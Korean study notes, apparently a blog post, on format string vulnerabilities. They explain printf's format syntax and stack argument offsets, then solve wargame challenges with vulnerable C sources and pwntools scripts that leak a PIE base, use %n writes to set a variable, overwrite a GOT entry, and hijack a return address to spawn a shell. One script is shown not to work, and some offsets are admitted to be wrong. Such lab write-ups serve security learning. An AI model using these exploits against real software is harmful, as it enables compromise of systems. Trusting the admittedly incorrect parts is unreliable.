1.1. 포맷 스트링
%[parameter][flags][width][.precision][length][specifier]
1.2. 포맷 스트링 버그
포맷 스트링을 사용자가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있게 됨.
레지스터 및 스택 읽기
ex) printf에 전달한 인자가 없는데도 값이 출력되게 만들 수 있음
임의 주소 읽기
함수 호출규약을 알아야 인자 설정이 이해가 된다.
1~6번째 포인터형 인수까지는 각각 rdi, rsi, rdx, rcx, r8, r9에 저장이 되고 그 이후부터는 스택에 저장이 된다.
이때 함수가 call되면 스택에 리턴 주소가 push가 되고 그 주소부터 7번째로 처리한다.
// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c
#include <stdio.h>
char *secret = "THIS IS SECRET";
int main() {
char *addr = secret;
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
예시 코드의 스택을 그려보면

그래서 %7$s가 가리키는 값이 addr가 된다.
// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
근데 얘는 또 rsp에 format이 위치해서 %7$s를 하게 되면 format+8을 가리키게 된다고 한다. (솔직히 아직도 이거는 잘 모르겠다. 무슨 최적화 때문에 리턴 주소 관리하는게 달라져서 그렇다고 하는데... 그냥 부딪혀 보는게 맞는듯)

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%s", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
이 코드에 %31337c%8$n + addr_secret을 입력해주게 되면 31337개의 문자를 입력하고(무슨 문자인지는 안 중요한듯...실제로는 공백 문자로 쓰임) 31337이라는 수를 8번째 인자(여기서는 secret)에 저장하게 된다.

2.2. fsb_overwrite.c
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
2.3. 설계
buf = rbp-0x30
b*(main+76) // printf 호출 위치
x/32gx $rsp // rsp 출력

여기서 rsp+0x48 위치에 0x0000555555555293 저장되어 있음

vmmap으로 확인하면 fsb_overwrite 바이너리 내에 위치함
offset = 0x1293
*참고: 앞서 각 매개변수들이 저장되는 위치가 틀리다... (지피티...걸러야겠다)

우리가 offset을 구한 rsp+0x48은 15번째 인자
%15$p를 통해 얻은 주소에서 0x1293을 빼면 pie 베이스 주소.
readelf -s fsb_overwrite | grep changeme

changeme_offset = 0x000000000000401c
changeme offset에 베이스 주소 더하면 changeme 주소
2.4. exploit.py
from pwn import *
p = process('./fsb_overwrite')
changeme_offset = 0x000000000000401c
offset = 0x1293
buf = b'%15$p'
p.sendline(buf)
leaked = int(p.recvline()[:-1], 16)
base = leaked - offset
changeme = changeme_offset + base
buf = b'%1337c%8$n' + b'A'*6
buf += p64(changeme)
p.sendline(buf)
p.interactive()

3.2. basic_exploitation_002.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
3.3. 설계
카나리가 없어서 바로 ret을 덮고 싶지만, read 크기 제한이 딱 buf까지라서 불가하다.
ret 주소를 get_shell 주소로 덮어야 할 것 같은데...
printf에서 덮으려면 %n말고는 없지 않나?
그러면 get_shell 주소만큼 출력하고 %n을 ret에 저장하는걸로 하면 되지 않을까
buf = rbp-0x80
ra = rbp+0x4

미친소리고, 찾아보니 got overwrite를 해야한다고 한다.
c코드 맨 뒤에 exit(0)가 있다.
저 exit got를 get_shell로 덮으면 된다.
근데 이거를 fsb로 할 수 있다고...?
진짜 이거를 처음하면 어떻게 생각해내지...?
exit got 주소와 get_shell 주소를 얻어서(지금 pie 꺼져 있으니까 미리 구해도 괜찮다) get_shell 주소만큼씩 출력해서 %n의 저장 위치를 exit got 위치로 설정한다. 이때 get_shell 주소 위치를 한 번에 넣기는 힘드니까 0x804, 0x8609로 나눠서 입력한다. 이 방식은 드림핵 예제 deadbeef 저장방법이랑 동일하다.
3.4. exploit.py
from pwn import *
p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
exit_got = e.got['exit']
get_shell = 0x8048609
# 0x804-8 = 2044 / 0x8609 = 32261
buf = p32(exit_got+2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'
p.send(buf)
p.interactive()

4.2. basic_exploitation_003.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
4.3. 설계
이번에는 덮어씌울 got도 없다. 진짜로 ret에 get_shell 주소 저장해야 되나...
일단 get_shell = 0x8048669
heap_buf = ebp-0x8
stack_buf = ebp-0x98
ret = ebp+0x4

ret 주소도 따로 설정되어 여기서 ret overwrite는 힘들고...
아무래도 main ret overwrite를 해야겠다.
sprintf에 breakpoint를 걸고 $esp를 출력하면
esp = 0xffffcfe8

그러면 002에서 한 것처럼 하되, got 대신에 ret 주소로 하면 되지 않을까?
다시 main 시작할 때 breakpoint를 걸고 $esp를 출력하면
esp = 0xffffd08c -> ret 주소 저장된 위치
그냥 다 필요 없고 stack을 156만큼 채운 다음에 (sprintf라서 가능한 일) ret에 닿으면 거기에 get_shell 주소를 넣으면 된다.
4.4. exploit.py
from pwn import *
p = process('./basic_exploitation_003')
ret_addr = 0xffffd08c
get_shell = 0x8048669
buf = b'%156c' + p32(get_shell)
p.send(buf)
p.interactive()
(솔직히 좀 허무하다...근데 위에꺼는 되는데 왜 밑에 코드는 안 되는거지...?)
(아 진짜...이거는 버퍼에 옮기는게 목적이 아니고, 해당 값을 stack_buf에 저장하는게 목적이다... 그러면 printf랑 작동이 다르게 되지 않을까... 친구야)
from pwn import *
p = process('./basic_exploitation_003')
ret_addr = 0xffffd08c
get_shell = 0x8048669
buf = p32(ret_addr+2) + p32(ret_addr) + b'%2044c%1$hn%32261c%2$hn'
p.send(buf)
p.interactive()

그렇다고 한다.